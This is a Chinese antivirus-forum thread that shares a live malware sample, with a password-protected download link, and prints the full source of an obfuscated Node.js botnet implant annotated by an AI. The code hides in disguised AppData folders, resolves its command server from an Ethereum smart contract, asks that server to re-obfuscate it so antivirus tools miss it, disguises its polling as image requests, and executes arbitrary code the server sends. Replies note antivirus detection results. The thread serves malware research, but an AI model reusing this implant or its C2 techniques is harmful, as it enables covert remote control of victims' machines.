查看: 466|回复: 4
收起左侧

[病毒样本] Blockchain-Powered C2 Botnet 1x

[复制链接]
wywt123
发表于 前天 23:20 | 显示全部楼层 |阅读模式
本帖最后由 wywt123 于 2026-4-19 01:37 编辑

https://www.wenshushu.cn/f/joyzrqpmqsl
解压密码 infected

vt
初扫0
https://www.virustotal.com/gui/f ... 0182bf999/detection

包含的node脚本,AI补了下注释,没做deobfuscate
  1. ((() => {
  2.     // ---------------------------------------------------------
  3.     // 1. 自定义模块加载器与内部环境搭建
  4.     // ---------------------------------------------------------
  5.     var _a = {
  6.         // 模块未找到时的错误处理 fallback
  7.         0x33c(module) {
  8.             function _b(_c) {
  9.                 var _d = new Error('Cannot find module \'' + _c + '\'');
  10.                 _d['code'] = 'MODULE_NOT_FOUND';
  11.                 throw _d;
  12.             }
  13.             _b['keys'] = () => [];
  14.             _b['resolve'] = _b;
  15.             _b['id'] = 0x33c;
  16.             module['exports'] = _b;
  17.         },
  18.         // 映射 Node.js 内置核心模块
  19.         0x2ed(module) { 'use strict'; module['exports'] = require('crypto'); },
  20.         0x17f(module) { 'use strict'; module['exports'] = require('fs'); },
  21.         0x16e(module) { 'use strict'; module['exports'] = require('os'); },
  22.         0x3(module)   { 'use strict'; module['exports'] = require('path'); }
  23.     },
  24.     _e = {}; // 模块缓存对象

  25.     // 混淆版本的 require 函数
  26.     function _f(_g) {
  27.         var _h = _e[_g];
  28.         if (_h !== undefined) return _h['exports'];
  29.         var module = _e[_g] = { 'exports': {} };
  30.         return _a[_g](module, module['exports'], _f), module['exports'];
  31.     }
  32.    
  33.     // 注入辅助方法 hasOwnProperty
  34.     ((() => { _f['o'] = (_i, _j) => Object['prototype']['hasOwnProperty']['call'](_i, _j); })());
  35.    
  36.     var _k = {}; // 模块导出对象

  37.     // ---------------------------------------------------------
  38.     // 2. 主程序的异步自执行函数 (IIFE)
  39.     // ---------------------------------------------------------
  40.     ((async () => {
  41.         // --- 核心配置与常量 ---
  42.         const _l = 'http://localhost:3000', // 备用/初始的 C2 服务器地址
  43.               _m = '75232343-170a-4410-9efc-d485b2227be2', // 僵尸网络 Build ID / 批次号
  44.               _n = '0x535419201734ef3a28084fbcf8c29fc9d5b0ce1b', // 以太坊智能合约地址
  45.               _o = '0x9544629d7e40c36ed2fa5d35e144c874d16f3bcb', // 发送给智能合约的查询参数
  46.               _p = !![], // true: 开启区块链 C2 解析
  47.               _q = !![], // true: 开启本地日志记录
  48.               // 用于查询智能合约的公共 RPC 节点列表
  49.               _r = [
  50.                   'https://mainnet.gateway.tenderly.co',
  51.                   'https://rpc.flashbots.net/fast',
  52.                   'https://rpc.mevblocker.io',
  53.                   'https://eth-mainnet.public.blastapi.io',
  54.                   'https://ethereum-rpc.publicnode.com',
  55.                   'https://eth.drpc.org',
  56.                   'https://eth.merkle.io'
  57.               ],
  58.               _s = _f(0x17f), // fs 模块
  59.               _t = _f(0x3),   // path 模块
  60.               _u = _f(0x2ed); // crypto 模块

  61.         let _v = _l, // 运行时动态更新的真实 C2 地址
  62.             _w = _q; // 运行时的日志开关状态

  63.         // --- 隐蔽机制:计算伪装的文件路径 ---
  64.         const _x = () => {
  65.             const _y = process['env']['LOCALAPPDATA'] || _t['join'](process['env']['USERPROFILE'] || '', 'AppData', 'Local'),
  66.                   _z = ['Microsoft', 'Windows', 'Programs', 'Packages', 'Google'], // 混淆主文件夹名
  67.                   _aa = ['Services', 'Components', 'Assemblies', 'Extensions', 'Modules'], // 混淆子文件夹名
  68.                   _ab = (process['env']['COMPUTERNAME'] || '') + (process['env']['USERNAME'] || ''), // 机器硬件特征
  69.                   _ac = _u['createHash']('md5')['update'](_ab)['digest']('hex')['slice'](0x0, 0x8), // 特征哈希前8位
  70.                   _ad = _z[parseInt(_ac['slice'](0x0, 0x2), 0x10) % _z['length']], // 动态选择主文件夹
  71.                   _ae = _aa[parseInt(_ac['slice'](0x2, 0x4), 0x10) % _aa['length']], // 动态选择子文件夹
  72.                   _af = _ac['slice'](0x4),
  73.                   _ag = _t['join'](_y, _ad); // 拼接完整伪装路径
  74.             
  75.             if (_s['existsSync'](_ag)) return _t['join'](_ag, _ae, _af);
  76.             return _t['join'](_y, _ac);
  77.         },
  78.         _ah = _x(), // _ah = 计算出的恶意软件潜伏目录
  79.         // _ai = Base64 编码的本地配置文件路径
  80.         _ai = _t['join'](_ah, _u['createHash']('md5')['update'](_ah)['digest']('hex')['slice'](0x0, 0x6)),
  81.         // _aj = 伪装为 svchost 的日志文件
  82.         _aj = _t['join'](process['env']['APPDATA'], 'svchost.log'),
  83.         
  84.         // --- 辅助工具函数 ---
  85.         // 记录日志
  86.         log = _ak => {
  87.             if (!_w) return;
  88.             try {
  89.                 const _al = new Date()['toISOString']();
  90.                 _s['appendFileSync'](_aj, '[' + _al + '] ' + _ak + '\n');
  91.             } catch (_am) {
  92.                 try { _s['writeFileSync'](_aj, '[' + ts + '] LOG ERROR: ' + _am['message'] + '\n'); } catch {}
  93.             }
  94.         },
  95.         // 读取配置
  96.         _an = () => {
  97.             try {
  98.                 if (_s['existsSync'](_ai)) {
  99.                     const _ao = _s['readFileSync'](_ai, 'utf8');
  100.                     return JSON['parse'](Buffer['from'](_ao, 'base64')['toString']());
  101.                 }
  102.             } catch {}
  103.             return null;
  104.         },
  105.         // 保存配置
  106.         _ap = _aq => {
  107.             try {
  108.                 _s['mkdirSync'](_ah, { 'recursive': !![] });
  109.                 _s['writeFileSync'](_ai, Buffer['from'](JSON['stringify'](_aq))['toString']('base64'));
  110.                 log('Config saved');
  111.             } catch {}
  112.         },
  113.         // 初始化或获取 Bot 的唯一标识符 (UUID)
  114.         _ar = () => {
  115.             let _as = _an();
  116.             if (_as && _as[0x0]) return _as[0x0]; // 如果已有ID则直接返回
  117.             
  118.             const _at = process['env']['APPDATA'] || _f(0x16e)['homedir'](),
  119.                   _au = _t['join'](_at, '.node_bot_id'); // 尝试寻找隐藏的 ID 文件
  120.             
  121.             try {
  122.                 if (_s['existsSync'](_au)) {
  123.                     const _av = _s['readFileSync'](_au, 'utf8')['trim']();
  124.                     if (!_as) _as = {};
  125.                     return _as[0x0] = _av, _ap(_as), _av;
  126.                 }
  127.             } catch {}
  128.             
  129.             // 扫描 APPDATA 目录下长度为11的隐藏文件作为备份特征
  130.             try {
  131.                 const _aw = _s['readdirSync'](_at)['filter'](_ax => _ax['startsWith']('.') && _ax['length'] === 0xb);
  132.                 if (_aw['length'] > 0x0) {
  133.                     const _ay = _s['readFileSync'](_t['join'](_at, _aw[0x0]), 'utf8')['trim']();
  134.                     if (!_as) _as = {};
  135.                     return _as[0x0] = _ay, _ap(_as), _ay;
  136.                 }
  137.             } catch {}
  138.             
  139.             // 全新感染则生成新的 UUID
  140.             const _az = _u['randomUUID']();
  141.             if (!_as) _as = {};
  142.             return _as[0x0] = _az, _ap(_as), _az;
  143.         },
  144.         
  145.         _ba = _ar(), // 获取当前的 Bot ID
  146.         _bb = _bc => new Promise(_bd => setTimeout(_bd, _bc)), // 封装延时函数 (sleep)
  147.         _be = '0x7d434425'; // 用于 Web3 查询的 method signature

  148.         log('Started | ID: ' + _ba + ' | Build: ' + _m);
  149.         log('Install dir: ' + _ah);

  150.         // 构造以太坊合约调用的 Data Payload
  151.         const _bf = _bg => {
  152.             return _be + _bg['toLowerCase']()['replace']('0x', '')['padStart'](0x40, '0');
  153.         },
  154.         
  155.         // 解析 RPC 返回的十六进制数据,将其转为正常的字符串(即 C2 的 URL)
  156.         _bh = _bi => {
  157.             if (!_bi || _bi === '0x' || _bi['length'] < 0x82) return null;
  158.             try {
  159.                 const _bj = _bi['replace']('0x', ''),
  160.                       _bk = parseInt(_bj['slice'](0x0, 0x40), 0x10) * 0x2,
  161.                       _bl = parseInt(_bj['slice'](_bk, _bk + 0x40), 0x10),
  162.                       _bm = _bj['slice'](_bk + 0x40, _bk + 0x40 + _bl * 0x2);
  163.                 return Buffer['from'](_bm, 'hex')['toString']('utf8');
  164.             } catch { return null; }
  165.         },
  166.         
  167.         // --- 核心网络功能:利用 Web3 获取控制服务器 ---
  168.         _bn = async () => {
  169.             const _bo = {},
  170.                   _bp = _bf(_o), // 组合 payload
  171.                   _bq = _r['map'](async _br => {
  172.                       try {
  173.                           // 并发向多个 RPC 节点请求合约数据
  174.                           const _bs = await fetch(_br, {
  175.                               'method': 'POST',
  176.                               'headers': { 'Content-Type': 'application/json' },
  177.                               'body': JSON['stringify']({
  178.                                   'jsonrpc': '2.0',
  179.                                   'method': 'eth_call',
  180.                                   'params': [{ 'to': _n, 'data': _bp }, 'latest'],
  181.                                   'id': 0x1
  182.                               }),
  183.                               'signal': AbortSignal['timeout'](0x2710) // 10秒超时
  184.                           }),
  185.                           _bt = await _bs['json']();
  186.                           
  187.                           if (_bt['result']) {
  188.                               const _bu = _bh(_bt['result']);
  189.                               // 验证解码后是否为合法的 HTTP/WS 协议 URL
  190.                               if (_bu && /^(https?|wss?):\/\//['test'](_bu)) {
  191.                                   _bo[_br] = _bu['trim']();
  192.                               }
  193.                           }
  194.                       } catch {}
  195.                   });
  196.             
  197.             await Promise['allSettled'](_bq); // 等待所有节点响应
  198.             const _bv = Object['values'](_bo);
  199.             if (!_bv['length']) return null;
  200.             
  201.             // 共识机制:寻找多数节点返回的相同 URL 以防篡改
  202.             const _bw = {};
  203.             _bv['forEach'](_bx => { _bw[_bx] = (_bw[_bx] || 0x0) + 0x1; });
  204.             return Object['entries'](_bw)['sort']((_by, _bz) => _bz[0x1] - _by[0x1])[0x0][0x0];
  205.         },
  206.         
  207.         // 执行区块链解析并赋值全局变量
  208.         _ca = async () => {
  209.             if (!_p) { log('Blockchain disabled, using fallback'); return; }
  210.             log('Fetching URL from blockchain...');
  211.             const _cb = await _bn();
  212.             if (_cb) {
  213.                 _v = _cb; // 成功则覆盖 fallback C2
  214.                 log('Blockchain URL: ' + _cb);
  215.             } else {
  216.                 log('Blockchain fetch failed, using fallback');
  217.             }
  218.         };

  219.         await _ca();
  220.         log('Server URL: ' + _v);

  221.         // --- 防御逃逸:动态更新并重度混淆自身的代码 ---
  222.         const _cc = async () => {
  223.             try {
  224.                 let _cd = _an();
  225.                 if (!_cd || _cd[0x3]) { log('Reobfuscation skipped (already done)'); return; }
  226.                 if (!_cd[0x1]) return;
  227.                
  228.                 const _ce = _t['join'](_ah, _cd[0x1]);
  229.                 if (!_s['existsSync'](_ce)) return;
  230.                
  231.                 log('Requesting reobfuscation...');
  232.                 const _cf = _s['readFileSync'](_ce, 'utf8'),
  233.                       // 携带当前代码去服务端换取一份新混淆的代码 (避免特征码被杀软抓取)
  234.                       _cg = await fetch(_v + '/api/0ffd0d83/' + _ba, {
  235.                           'method': 'POST',
  236.                           'headers': { 'Content-Type': 'application/json' },
  237.                           'body': JSON['stringify']({ 'code': _cf, 'build': _m }),
  238.                           'signal': AbortSignal['timeout'](0x7530) // 30秒超时
  239.                       });
  240.                      
  241.                 if (!_cg['ok']) { log('Reobf failed: ' + _cg['status']); return; }
  242.                
  243.                 const _ch = await _cg['text']();
  244.                 if (!_ch || _ch['length'] < 0x64) return;
  245.                
  246.                 _s['writeFileSync'](_ce, _ch, 'utf8'); // 覆写本地文件
  247.                 _cd[0x3] = Date['now']();
  248.                 _ap(_cd);
  249.                 log('Reobfuscated, saved for next start');
  250.             } catch (_ci) { log('Reobf error: ' + _ci['message']); }
  251.         };

  252.         await _cc();

  253.         // --- 核心恶意行为:无限轮询获取 Payload 并在内存执行 ---
  254.         async function _cj() {
  255.             // 随机生成请求路径和后缀名,伪装成获取网页静态资源 (图片/样式表)
  256.             const _ck = _u['randomBytes'](0x4)['toString']('hex'),
  257.                   _cl = ['png', 'jpg', 'gif', 'css', 'ico', 'webp'],
  258.                   _cm = _cl[Math['floor'](Math['random']() * _cl['length'])],
  259.                   _cn = ['id', 'token', 'key', 'b', 'q', 's', 'v'],
  260.                   _co = _cn[Math['floor'](Math['random']() * _cn['length'])],
  261.                   _cp = _u['randomBytes'](0x4)['toString']('hex'),
  262.                   _cq = _v + '/api/' + _ck + '/' + _ba + '/' + _cp + '.' + _cm + '?' + _co + '=' + _m;

  263.             try {
  264.                 log('Polling: ' + _cq);
  265.                 const _cr = new AbortController(),
  266.                       _cs = setTimeout(() => _cr['abort'](), 0x1d4c0), // 120秒长轮询超时设定
  267.                       _ct = await fetch(_cq, {
  268.                           'signal': _cr['signal'],
  269.                           'headers': { 'X-Bot-Server': _v }
  270.                       });
  271.                      
  272.                 clearTimeout(_cs);
  273.                
  274.                 if (!_ct['ok']) {
  275.                     log('Poll failed: ' + _ct['status']);
  276.                     await _bb(0x1388); // 失败重试延时 5000 毫秒
  277.                     return;
  278.                 }
  279.                
  280.                 const _cu = await _ct['text'](); // 拿到远程下发的代码 (Task)
  281.                
  282.                 if (_cu && _cu['length'] > 0xa) {
  283.                     log('Received task (' + _cu['length'] + ' bytes)');
  284.                     setImmediate(async () => {
  285.                         try {
  286.                             // 【高危利用点】: 无文件执行 (Fileless Execution)
  287.                             // 动态创建 AsyncFunction,并强行注入 Node 的系统级上下文对象
  288.                             const _cv = Object['getPrototypeOf'](async function() {})['constructor'],
  289.                                   _cw = new _cv('require', 'process', 'Buffer', 'console', '__dirname', '__filename', 'log', _cu);
  290.                                  
  291.                             // 调用执行远端 Payload,它将拥有完全控制机器的权限
  292.                             await _cw(typeof require !== 'undefined' ? require : _f(0x33c), process, Buffer, console, __dirname, __filename, log);
  293.                             log('Task executed');
  294.                         } catch (_cx) { log('Task error: ' + _cx['message']); }
  295.                     });
  296.                 }
  297.             } catch (_cy) {
  298.                 if (_cy['name'] !== 'AbortError') {
  299.                     log('Connect error: ' + _cy['message']);
  300.                     await _bb(0x1388); // 错误延时 5000 毫秒
  301.                 }
  302.             }
  303.         }

  304.         let _cz = Date['now']();
  305.         
  306.         // --- 定时任务与守护 ---
  307.         setInterval(() => {
  308.             // 每隔 300000 毫秒 (5分钟),重新向区块链确认 C2 节点是否发生了切换
  309.             if (_p && Date['now']() - _cz > 0x493e0) {
  310.                 log('Refreshing blockchain URL...');
  311.                 _bn()['then'](_da => {
  312.                     if (_da && _da !== _v) {
  313.                         _v = _da;
  314.                         log('New URL: ' + _da);
  315.                     }
  316.                 })['catch'](() => {});
  317.                 _cz = Date['now']();
  318.             }
  319.             
  320.             // 实时同步配置里的日志开关状态
  321.             const _db = _an();
  322.             if (_db && typeof _db[0x5] === 'boolean') _w = _db[0x5];
  323.         }, 0xea60); // 60秒执行一次检查

  324.         log('Main loop started');
  325.         
  326.         // 死循环轮询
  327.         while (!![]) { // !![] 隐式转换为 true
  328.             try {
  329.                 await _cj(); // 请求执行任务
  330.             } catch (_dc) {
  331.                 log('Loop error: ' + _dc['message']);
  332.             }
  333.             await _bb(0x1f4); // 默认心跳间隔 500 毫秒
  334.         }
  335.     })());

  336.     module['exports'] = _k;
  337. })());
复制代码


心醉咖啡
发表于 昨天 00:50 | 显示全部楼层
360扫描miss
痴情冢
发表于 昨天 05:15 | 显示全部楼层
swizzer
发表于 昨天 06:00 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
ZXCVDS
发表于 昨天 11:06 | 显示全部楼层
360kill
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-4-20 05:03 , Processed in 0.080681 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表